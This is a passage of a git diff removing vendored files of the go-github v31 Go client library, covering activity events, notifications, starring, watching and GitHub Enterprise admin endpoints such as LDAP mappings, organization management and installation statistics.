return nil, resp, err - } - - return events, resp, nil -} - -// ListRepositoryEvents lists events for a repository. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/#list-repository-events -func (s *ActivityService) ListRepositoryEvents(ctx context.Context, owner, repo string, opts *ListOptions) ([]*Event, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/events", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var events []*Event - resp, err := s.client.Do(ctx, req, &events) - if err != nil { - return nil, resp, err - } - - return events, resp, nil -} - -// ListIssueEventsForRepository lists issue events for a repository. -// -// GitHub API docs: https://developer.github.com/v3/issues/events/#list-events-for-a-repository -func (s *ActivityService) ListIssueEventsForRepository(ctx context.Context, owner, repo string, opts *ListOptions) ([]*IssueEvent, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/events", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var events []*IssueEvent - resp, err := s.client.Do(ctx, req, &events) - if err != nil { - return nil, resp, err - } - - return events, resp, nil -} - -// ListEventsForRepoNetwork lists public events for a network of repositories. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/#list-public-events-for-a-network-of-repositories -func (s *ActivityService) ListEventsForRepoNetwork(ctx context.Context, owner, repo string, opts *ListOptions) ([]*Event, *Response, error) { - u := fmt.Sprintf("networks/%v/%v/events", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var events []*Event - resp, err := s.client.Do(ctx, req, &events) - if err != nil { - return nil, resp, err - } - - return events, resp, nil -} - -// ListEventsForOrganization lists public events for an organization. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/#list-public-organization-events -func (s *ActivityService) ListEventsForOrganization(ctx context.Context, org string, opts *ListOptions) ([]*Event, *Response, error) { - u := fmt.Sprintf("orgs/%v/events", org) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var events []*Event - resp, err := s.client.Do(ctx, req, &events) - if err != nil { - return nil, resp, err - } - - return events, resp, nil -} - -// ListEventsPerformedByUser lists the events performed by a user. If publicOnly is -// true, only public events will be returned. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/#list-events-for-the-authenticated-user -// GitHub API docs: https://developer.github.com/v3/activity/events/#list-public-events-for-a-user -func (s *ActivityService) ListEventsPerformedByUser(ctx context.Context, user string, publicOnly bool, opts *ListOptions) ([]*Event, *Response, error) { - var u string - if publicOnly { - u = fmt.Sprintf("users/%v/events/public", user) - } else { - u = fmt.Sprintf("users/%v/events", user) - } - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var events []*Event - resp, err := s.client.Do(ctx, req, &events) - if err != nil { - return nil, resp, err - } - - return events, resp, nil -} - -// ListEventsReceivedByUser lists the events received by a user. If publicOnly is -// true, only public events will be returned. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/#list-events-received-by-the-authenticated-user -// GitHub API docs: https://developer.github.com/v3/activity/events/#list-public-events-received-by-a-user -func (s *ActivityService) ListEventsReceivedByUser(ctx context.Context, user string, publicOnly bool, opts *ListOptions) ([]*Event, *Response, error) { - var u string - if publicOnly { - u = fmt.Sprintf("users/%v/received_events/public", user) - } else { - u = fmt.Sprintf("users/%v/received_events", user) - } - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var events []*Event - resp, err := s.client.Do(ctx, req, &events) - if err != nil { - return nil, resp, err - } - - return events, resp, nil -} - -// ListUserEventsForOrganization provides the user’s organization dashboard. You -// must be authenticated as the user to view this. -// -// GitHub API docs: https://developer.github.com/v3/activity/events/#list-organization-events-for-the-authenticated-user -func (s *ActivityService) ListUserEventsForOrganization(ctx context.Context, org, user string, opts *ListOptions) ([]*Event, *Response, error) { - u := fmt.Sprintf("users/%v/events/orgs/%v", user, org) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var events []*Event - resp, err := s.client.Do(ctx, req, &events) - if err != nil { - return nil, resp, err - } - - return events, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/activity_notifications.go b/vendor/github.com/google/go-github/v31/github/activity_notifications.go deleted file mode 100644 index 9c19922bb3..0000000000 --- a/vendor/github.com/google/go-github/v31/github/activity_notifications.go +++ /dev/null @@ -1,223 +0,0 @@ -// Copyright 2014 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// Notification identifies a GitHub notification for a user. -type Notification struct { - ID *string `json:"id,omitempty"` - Repository *Repository `json:"repository,omitempty"` - Subject *NotificationSubject `json:"subject,omitempty"` - - // Reason identifies the event that triggered the notification. - // - // GitHub API docs: https://developer.github.com/v3/activity/notifications/#notification-reasons - Reason *string `json:"reason,omitempty"` - - Unread *bool `json:"unread,omitempty"` - UpdatedAt *time.Time `json:"updated_at,omitempty"` - LastReadAt *time.Time `json:"last_read_at,omitempty"` - URL *string `json:"url,omitempty"` -} - -// NotificationSubject identifies the subject of a notification. -type NotificationSubject struct { - Title *string `json:"title,omitempty"` - URL *string `json:"url,omitempty"` - LatestCommentURL *string `json:"latest_comment_url,omitempty"` - Type *string `json:"type,omitempty"` -} - -// NotificationListOptions specifies the optional parameters to the -// ActivityService.ListNotifications method. -type NotificationListOptions struct { - All bool `url:"all,omitempty"` - Participating bool `url:"participating,omitempty"` - Since time.Time `url:"since,omitempty"` - Before time.Time `url:"before,omitempty"` - - ListOptions -} - -// ListNotifications lists all notifications for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/activity/notifications/#list-notifications-for-the-authenticated-user -func (s *ActivityService) ListNotifications(ctx context.Context, opts *NotificationListOptions) ([]*Notification, *Response, error) { - u := fmt.Sprintf("notifications") - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var notifications []*Notification - resp, err := s.client.Do(ctx, req, ¬ifications) - if err != nil { - return nil, resp, err - } - - return notifications, resp, nil -} - -// ListRepositoryNotifications lists all notifications in a given repository -// for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/activity/notifications/#list-repository-notifications-for-the-authenticated-user -func (s *ActivityService) ListRepositoryNotifications(ctx context.Context, owner, repo string, opts *NotificationListOptions) ([]*Notification, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/notifications", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var notifications []*Notification - resp, err := s.client.Do(ctx, req, ¬ifications) - if err != nil { - return nil, resp, err - } - - return notifications, resp, nil -} - -type markReadOptions struct { - LastReadAt time.Time `json:"last_read_at,omitempty"` -} - -// MarkNotificationsRead marks all notifications up to lastRead as read. -// -// GitHub API docs: https://developer.github.com/v3/activity/notifications/#mark-as-read -func (s *ActivityService) MarkNotificationsRead(ctx context.Context, lastRead time.Time) (*Response, error) { - opts := &markReadOptions{ - LastReadAt: lastRead, - } - req, err := s.client.NewRequest("PUT", "notifications", opts) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// MarkRepositoryNotificationsRead marks all notifications up to lastRead in -// the specified repository as read. -// -// GitHub API docs: https://developer.github.com/v3/activity/notifications/#mark-repository-notifications-as-read -func (s *ActivityService) MarkRepositoryNotificationsRead(ctx context.Context, owner, repo string, lastRead time.Time) (*Response, error) { - opts := &markReadOptions{ - LastReadAt: lastRead, - } - u := fmt.Sprintf("repos/%v/%v/notifications", owner, repo) - req, err := s.client.NewRequest("PUT", u, opts) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// GetThread gets the specified notification thread. -// -// GitHub API docs: https://developer.github.com/v3/activity/notifications/#get-a-thread -func (s *ActivityService) GetThread(ctx context.Context, id string) (*Notification, *Response, error) { - u := fmt.Sprintf("notifications/threads/%v", id) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - notification := new(Notification) - resp, err := s.client.Do(ctx, req, notification) - if err != nil { - return nil, resp, err - } - - return notification, resp, nil -} - -// MarkThreadRead marks the specified thread as read. -// -// GitHub API docs: https://developer.github.com/v3/activity/notifications/#mark-a-thread-as-read -func (s *ActivityService) MarkThreadRead(ctx context.Context, id string) (*Response, error) { - u := fmt.Sprintf("notifications/threads/%v", id) - - req, err := s.client.NewRequest("PATCH", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// GetThreadSubscription checks to see if the authenticated user is subscribed -// to a thread. -// -// GitHub API docs: https://developer.github.com/v3/activity/notifications/#get-a-thread-subscription-for-the-authenticated-user -func (s *ActivityService) GetThreadSubscription(ctx context.Context, id string) (*Subscription, *Response, error) { - u := fmt.Sprintf("notifications/threads/%v/subscription", id) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - sub := new(Subscription) - resp, err := s.client.Do(ctx, req, sub) - if err != nil { - return nil, resp, err - } - - return sub, resp, nil -} - -// SetThreadSubscription sets the subscription for the specified thread for the -// authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/activity/notifications/#set-a-thread-subscription -func (s *ActivityService) SetThreadSubscription(ctx context.Context, id string, subscription *Subscription) (*Subscription, *Response, error) { - u := fmt.Sprintf("notifications/threads/%v/subscription", id) - - req, err := s.client.NewRequest("PUT", u, subscription) - if err != nil { - return nil, nil, err - } - - sub := new(Subscription) - resp, err := s.client.Do(ctx, req, sub) - if err != nil { - return nil, resp, err - } - - return sub, resp, nil -} - -// DeleteThreadSubscription deletes the subscription for the specified thread -// for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/activity/notifications/#delete-a-thread-subscription -func (s *ActivityService) DeleteThreadSubscription(ctx context.Context, id string) (*Response, error) { - u := fmt.Sprintf("notifications/threads/%v/subscription", id) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/activity_star.go b/vendor/github.com/google/go-github/v31/github/activity_star.go deleted file mode 100644 index 158f395210..0000000000 --- a/vendor/github.com/google/go-github/v31/github/activity_star.go +++ /dev/null @@ -1,138 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "strings" -) - -// StarredRepository is returned by ListStarred. -type StarredRepository struct { - StarredAt *Timestamp `json:"starred_at,omitempty"` - Repository *Repository `json:"repo,omitempty"` -} - -// Stargazer represents a user that has starred a repository. -type Stargazer struct { - StarredAt *Timestamp `json:"starred_at,omitempty"` - User *User `json:"user,omitempty"` -} - -// ListStargazers lists people who have starred the specified repo. -// -// GitHub API docs: https://developer.github.com/v3/activity/starring/#list-stargazers -func (s *ActivityService) ListStargazers(ctx context.Context, owner, repo string, opts *ListOptions) ([]*Stargazer, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/stargazers", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches - req.Header.Set("Accept", mediaTypeStarringPreview) - - var stargazers []*Stargazer - resp, err := s.client.Do(ctx, req, &stargazers) - if err != nil { - return nil, resp, err - } - - return stargazers, resp, nil -} - -// ActivityListStarredOptions specifies the optional parameters to the -// ActivityService.ListStarred method. -type ActivityListStarredOptions struct { - // How to sort the repository list. Possible values are: created, updated, - // pushed, full_name. Default is "full_name". - Sort string `url:"sort,omitempty"` - - // Direction in which to sort repositories. Possible values are: asc, desc. - // Default is "asc" when sort is "full_name", otherwise default is "desc". - Direction string `url:"direction,omitempty"` - - ListOptions -} - -// ListStarred lists all the repos starred by a user. Passing the empty string -// will list the starred repositories for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/activity/starring/#list-repositories-starred-by-a-user -// GitHub API docs: https://developer.github.com/v3/activity/starring/#list-repositories-starred-by-the-authenticated-user -func (s *ActivityService) ListStarred(ctx context.Context, user string, opts *ActivityListStarredOptions) ([]*StarredRepository, *Response, error) { - var u string - if user != "" { - u = fmt.Sprintf("users/%v/starred", user) - } else { - u = "user/starred" - } - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when APIs fully launch - acceptHeaders := []string{mediaTypeStarringPreview, mediaTypeTopicsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - var repos []*StarredRepository - resp, err := s.client.Do(ctx, req, &repos) - if err != nil { - return nil, resp, err - } - - return repos, resp, nil -} - -// IsStarred checks if a repository is starred by authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/activity/starring/#check-if-a-repository-is-starred-by-the-authenticated-user -func (s *ActivityService) IsStarred(ctx context.Context, owner, repo string) (bool, *Response, error) { - u := fmt.Sprintf("user/starred/%v/%v", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return false, nil, err - } - resp, err := s.client.Do(ctx, req, nil) - starred, err := parseBoolResponse(err) - return starred, resp, err -} - -// Star a repository as the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/activity/starring/#star-a-repository-for-the-authenticated-user -func (s *ActivityService) Star(ctx context.Context, owner, repo string) (*Response, error) { - u := fmt.Sprintf("user/starred/%v/%v", owner, repo) - req, err := s.client.NewRequest("PUT", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} - -// Unstar a repository as the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/activity/starring/#unstar-a-repository-for-the-authenticated-user -func (s *ActivityService) Unstar(ctx context.Context, owner, repo string) (*Response, error) { - u := fmt.Sprintf("user/starred/%v/%v", owner, repo) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/activity_watching.go b/vendor/github.com/google/go-github/v31/github/activity_watching.go deleted file mode 100644 index 0265a08d0d..0000000000 --- a/vendor/github.com/google/go-github/v31/github/activity_watching.go +++ /dev/null @@ -1,147 +0,0 @@ -// Copyright 2014 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// Subscription identifies a repository or thread subscription. -type Subscription struct { - Subscribed *bool `json:"subscribed,omitempty"` - Ignored *bool `json:"ignored,omitempty"` - Reason *string `json:"reason,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - URL *string `json:"url,omitempty"` - - // only populated for repository subscriptions - RepositoryURL *string `json:"repository_url,omitempty"` - - // only populated for thread subscriptions - ThreadURL *string `json:"thread_url,omitempty"` -} - -// ListWatchers lists watchers of a particular repo. -// -// GitHub API docs: https://developer.github.com/v3/activity/watching/#list-watchers -func (s *ActivityService) ListWatchers(ctx context.Context, owner, repo string, opts *ListOptions) ([]*User, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/subscribers", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var watchers []*User - resp, err := s.client.Do(ctx, req, &watchers) - if err != nil { - return nil, resp, err - } - - return watchers, resp, nil -} - -// ListWatched lists the repositories the specified user is watching. Passing -// the empty string will fetch watched repos for the authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/activity/watching/#list-repositories-watched-by-a-user -// GitHub API docs: https://developer.github.com/v3/activity/watching/#list-repositories-watched-by-the-authenticated-user -func (s *ActivityService) ListWatched(ctx context.Context, user string, opts *ListOptions) ([]*Repository, *Response, error) { - var u string - if user != "" { - u = fmt.Sprintf("users/%v/subscriptions", user) - } else { - u = "user/subscriptions" - } - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var watched []*Repository - resp, err := s.client.Do(ctx, req, &watched) - if err != nil { - return nil, resp, err - } - - return watched, resp, nil -} - -// GetRepositorySubscription returns the subscription for the specified -// repository for the authenticated user. If the authenticated user is not -// watching the repository, a nil Subscription is returned. -// -// GitHub API docs: https://developer.github.com/v3/activity/watching/#get-a-repository-subscription -func (s *ActivityService) GetRepositorySubscription(ctx context.Context, owner, repo string) (*Subscription, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/subscription", owner, repo) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - sub := new(Subscription) - resp, err := s.client.Do(ctx, req, sub) - if err != nil { - // if it's just a 404, don't return that as an error - _, err = parseBoolResponse(err) - return nil, resp, err - } - - return sub, resp, nil -} - -// SetRepositorySubscription sets the subscription for the specified repository -// for the authenticated user. -// -// To watch a repository, set subscription.Subscribed to true. -// To ignore notifications made within a repository, set subscription.Ignored to true. -// To stop watching a repository, use DeleteRepositorySubscription. -// -// GitHub API docs: https://developer.github.com/v3/activity/watching/#set-a-repository-subscription -func (s *ActivityService) SetRepositorySubscription(ctx context.Context, owner, repo string, subscription *Subscription) (*Subscription, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/subscription", owner, repo) - - req, err := s.client.NewRequest("PUT", u, subscription) - if err != nil { - return nil, nil, err - } - - sub := new(Subscription) - resp, err := s.client.Do(ctx, req, sub) - if err != nil { - return nil, resp, err - } - - return sub, resp, nil -} - -// DeleteRepositorySubscription deletes the subscription for the specified -// repository for the authenticated user. -// -// This is used to stop watching a repository. To control whether or not to -// receive notifications from a repository, use SetRepositorySubscription. -// -// GitHub API docs: https://developer.github.com/v3/activity/watching/#delete-a-repository-subscription -func (s *ActivityService) DeleteRepositorySubscription(ctx context.Context, owner, repo string) (*Response, error) { - u := fmt.Sprintf("repos/%s/%s/subscription", owner, repo) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/admin.go b/vendor/github.com/google/go-github/v31/github/admin.go deleted file mode 100644 index 31cd1fa2a4..0000000000 --- a/vendor/github.com/google/go-github/v31/github/admin.go +++ /dev/null @@ -1,119 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// AdminService handles communication with the admin related methods of the -// GitHub API. These API routes are normally only accessible for GitHub -// Enterprise installations. -// -// GitHub API docs: https://developer.github.com/v3/enterprise/ -type AdminService service - -// TeamLDAPMapping represents the mapping between a GitHub team and an LDAP group. -type TeamLDAPMapping struct { - ID *int64 `json:"id,omitempty"` - LDAPDN *string `json:"ldap_dn,omitempty"` - URL *string `json:"url,omitempty"` - Name *string `json:"name,omitempty"` - Slug *string `json:"slug,omitempty"` - Description *string `json:"description,omitempty"` - Privacy *string `json:"privacy,omitempty"` - Permission *string `json:"permission,omitempty"` - - MembersURL *string `json:"members_url,omitempty"` - RepositoriesURL *string `json:"repositories_url,omitempty"` -} - -func (m TeamLDAPMapping) String() string { - return Stringify(m) -} - -// UserLDAPMapping represents the mapping between a GitHub user and an LDAP user. -type UserLDAPMapping struct { - ID *int64 `json:"id,omitempty"` - LDAPDN *string `json:"ldap_dn,omitempty"` - Login *string `json:"login,omitempty"` - AvatarURL *string `json:"avatar_url,omitempty"` - GravatarID *string `json:"gravatar_id,omitempty"` - Type *string `json:"type,omitempty"` - SiteAdmin *bool `json:"site_admin,omitempty"` - - URL *string `json:"url,omitempty"` - EventsURL *string `json:"events_url,omitempty"` - FollowingURL *string `json:"following_url,omitempty"` - FollowersURL *string `json:"followers_url,omitempty"` - GistsURL *string `json:"gists_url,omitempty"` - OrganizationsURL *string `json:"organizations_url,omitempty"` - ReceivedEventsURL *string `json:"received_events_url,omitempty"` - ReposURL *string `json:"repos_url,omitempty"` - StarredURL *string `json:"starred_url,omitempty"` - SubscriptionsURL *string `json:"subscriptions_url,omitempty"` -} - -func (m UserLDAPMapping) String() string { - return Stringify(m) -} - -// Enterprise represents the GitHub enterprise profile. -type Enterprise struct { - ID *int `json:"id,omitempty"` - Slug *string `json:"slug,omitempty"` - Name *string `json:"name,omitempty"` - NodeID *string `json:"node_id,omitempty"` - AvatarURL *string `json:"avatar_url,omitempty"` - Description *string `json:"description,omitempty"` - WebsiteURL *string `json:"website_url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` -} - -func (m Enterprise) String() string { - return Stringify(m) -} - -// UpdateUserLDAPMapping updates the mapping between a GitHub user and an LDAP user. -// -// GitHub API docs: https://developer.github.com/v3/enterprise/ldap/#update-ldap-mapping-for-a-user -func (s *AdminService) UpdateUserLDAPMapping(ctx context.Context, user string, mapping *UserLDAPMapping) (*UserLDAPMapping, *Response, error) { - u := fmt.Sprintf("admin/ldap/users/%v/mapping", user) - req, err := s.client.NewRequest("PATCH", u, mapping) - if err != nil { - return nil, nil, err - } - - m := new(UserLDAPMapping) - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// UpdateTeamLDAPMapping updates the mapping between a GitHub team and an LDAP group. -// -// GitHub API docs: https://developer.github.com/v3/enterprise/ldap/#update-ldap-mapping-for-a-team -func (s *AdminService) UpdateTeamLDAPMapping(ctx context.Context, team int64, mapping *TeamLDAPMapping) (*TeamLDAPMapping, *Response, error) { - u := fmt.Sprintf("admin/ldap/teams/%v/mapping", team) - req, err := s.client.NewRequest("PATCH", u, mapping) - if err != nil { - return nil, nil, err - } - - m := new(TeamLDAPMapping) - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/admin_orgs.go b/vendor/github.com/google/go-github/v31/github/admin_orgs.go deleted file mode 100644 index 448e51f631..0000000000 --- a/vendor/github.com/google/go-github/v31/github/admin_orgs.go +++ /dev/null @@ -1,89 +0,0 @@ -// Copyright 2019 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// createOrgRequest is a subset of Organization and is used internally -// by CreateOrg to pass only the known fields for the endpoint. -type createOrgRequest struct { - Login *string `json:"login,omitempty"` - Admin *string `json:"admin,omitempty"` -} - -// CreateOrg creates a new organization in GitHub Enterprise. -// -// Note that only a subset of the org fields are used and org must -// not be nil. -// -// GitHub Enterprise API docs: https://developer.github.com/enterprise/v3/enterprise-admin/orgs/#create-an-organization -func (s *AdminService) CreateOrg(ctx context.Context, org *Organization, admin string) (*Organization, *Response, error) { - u := "admin/organizations" - - orgReq := &createOrgRequest{ - Login: org.Login, - Admin: &admin, - } - - req, err := s.client.NewRequest("POST", u, orgReq) - if err != nil { - return nil, nil, err - } - - o := new(Organization) - resp, err := s.client.Do(ctx, req, o) - if err != nil { - return nil, resp, err - } - - return o, resp, nil -} - -// renameOrgRequest is a subset of Organization and is used internally -// by RenameOrg and RenameOrgByName to pass only the known fields for the endpoint. -type renameOrgRequest struct { - Login *string `json:"login,omitempty"` -} - -// RenameOrgResponse is the response given when renaming an Organization. -type RenameOrgResponse struct { - Message *string `json:"message,omitempty"` - URL *string `json:"url,omitempty"` -} - -// RenameOrg renames an organization in GitHub Enterprise. -// -// GitHub Enterprise API docs: https://developer.github.com/enterprise/v3/enterprise-admin/orgs/#rename-an-organization -func (s *AdminService) RenameOrg(ctx context.Context, org *Organization, newName string) (*RenameOrgResponse, *Response, error) { - return s.RenameOrgByName(ctx, *org.Login, newName) -} - -// RenameOrgByName renames an organization in GitHub Enterprise using its current name. -// -// GitHub Enterprise API docs: https://developer.github.com/enterprise/v3/enterprise-admin/orgs/#rename-an-organization -func (s *AdminService) RenameOrgByName(ctx context.Context, org, newName string) (*RenameOrgResponse, *Response, error) { - u := fmt.Sprintf("admin/organizations/%v", org) - - orgReq := &renameOrgRequest{ - Login: &newName, - } - - req, err := s.client.NewRequest("PATCH", u, orgReq) - if err != nil { - return nil, nil, err - } - - o := new(RenameOrgResponse) - resp, err := s.client.Do(ctx, req, o) - if err != nil { - return nil, resp, err - } - - return o, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/admin_stats.go b/vendor/github.com/google/go-github/v31/github/admin_stats.go deleted file mode 100644 index dabefde3e7..0000000000 --- a/vendor/github.com/google/go-github/v31/github/admin_stats.go +++ /dev/null @@ -1,171 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// AdminStats represents a variety of stats of a GitHub Enterprise -// installation. -type AdminStats struct { - Issues *IssueStats `json:"issues,omitempty"` - Hooks *HookStats `json:"hooks,omitempty"` - Milestones *MilestoneStats `json:"milestones,omitempty"` - Orgs *OrgStats `json:"orgs,omitempty"` - Comments *CommentStats `json:"comments,omitempty"` - Pages *PageStats `json:"pages,omitempty"` - Users *UserStats `json:"users,omitempty"` - Gists *GistStats `json:"gists,omitempty"` - Pulls *PullStats `json:"pulls,omitempty"` - Repos *RepoStats `json:"repos,omitempty"` -} - -func (s AdminStats) String() string { - return Stringify(s) -} - -// IssueStats represents the number of total, open and closed issues. -type IssueStats struct { - TotalIssues *int `json:"total_issues,omitempty"` - OpenIssues *int `json:"open_issues,omitempty"` - ClosedIssues *int `json:"closed_issues,omitempty"` -} - -func (s IssueStats) String() string { - return Stringify(s) -} - -// HookStats represents the number of total, active and inactive hooks. -type HookStats struct { - TotalHooks *int `json:"total_hooks,omitempty"` - ActiveHooks *int `json:"active_hooks,omitempty"` - InactiveHooks *int `json:"inactive_hooks,omitempty"` -} - -func (s HookStats) String() string { - return Stringify(s) -} - -// MilestoneStats represents the number of total, open and close milestones. -type MilestoneStats struct { - TotalMilestones *int `json:"total_milestones,omitempty"` - OpenMilestones *int `json:"open_milestones,omitempty"` - ClosedMilestones *int `json:"closed_milestones,omitempty"` -} - -func (s MilestoneStats) String() string { - return Stringify(s) -} - -// OrgStats represents the number of total, disabled organizations and the team -// and team member count. -type OrgStats struct { - TotalOrgs *int `json:"total_orgs,omitempty"` - DisabledOrgs *int `json:"disabled_orgs,omitempty"` - TotalTeams *int `json:"total_teams,omitempty"` - TotalTeamMembers *int `json:"total_team_members,omitempty"` -} - -func (s OrgStats) String() string { - return Stringify(s) -} - -// CommentStats represents the number of total comments on commits, gists, issues -// and pull requests. -type CommentStats struct { - TotalCommitComments *int `json:"total_commit_comments,omitempty"` - TotalGistComments *int `json:"total_gist_comments,omitempty"` - TotalIssueComments *int `json:"total_issue_comments,omitempty"` - TotalPullRequestComments *int `json:"total_pull_request_comments,omitempty"` -} - -func (s CommentStats) String() string { - return Stringify(s) -} - -// PageStats represents the total number of github pages. -type PageStats struct { - TotalPages *int `json:"total_pages,omitempty"` -} - -func (s PageStats) String() string { - return Stringify(s) -} - -// UserStats represents the number of total, admin and suspended users. -type UserStats struct { - TotalUsers *int `json:"total_users,omitempty"` - AdminUsers *int `json:"admin_users,omitempty"` - SuspendedUsers *int `json:"suspended_users,omitempty"` -} - -func (s UserStats) String() string { - return Stringify(s) -} - -// GistStats represents the number of total, private and public gists. -type GistStats struct { - TotalGists *int `json:"total_gists,omitempty"` - PrivateGists *int `json:"private_gists,omitempty"` - PublicGists *int `json:"public_gists,omitempty"` -} - -func (s GistStats) String() string { - return Stringify(s) -} - -// PullStats represents the number of total, merged, mergable and unmergeable -// pull-requests. -type PullStats struct { - TotalPulls *int `json:"total_pulls,omitempty"` - MergedPulls *int `json:"merged_pulls,omitempty"` - MergablePulls *int `json:"mergeable_pulls,omitempty"` - UnmergablePulls *int `json:"unmergeable_pulls,omitempty"` -} - -func (s PullStats) String() string { - return Stringify(s) -} - -// RepoStats represents the number of total, root, fork, organization repositories -// together with the total number of pushes and wikis. -type RepoStats struct { - TotalRepos *int `json:"total_repos,omitempty"` - RootRepos *int `json:"root_repos,omitempty"` - ForkRepos *int `json:"fork_repos,omitempty"` - OrgRepos *int `json:"org_repos,omitempty"` - TotalPushes *int `json:"total_pushes,omitempty"` - TotalWikis *int `json:"total_wikis,omitempty"` -} - -func (s RepoStats) String() string { - return Stringify(s) -} - -// GetAdminStats returns a variety of metrics about a GitHub Enterprise -// installation. -// -// Please note that this is only available to site administrators, -// otherwise it will error with a 404 not found (instead of 401 or 403). -// -// GitHub API docs: https://developer.github.com/v3/enterprise-admin/admin_stats/ -func (s *AdminService) GetAdminStats(ctx context.Context) (*AdminStats, *Response, error) { - u := fmt.Sprintf("enterprise/stats/all") - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - m := new(AdminStats) - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/admin_users.go 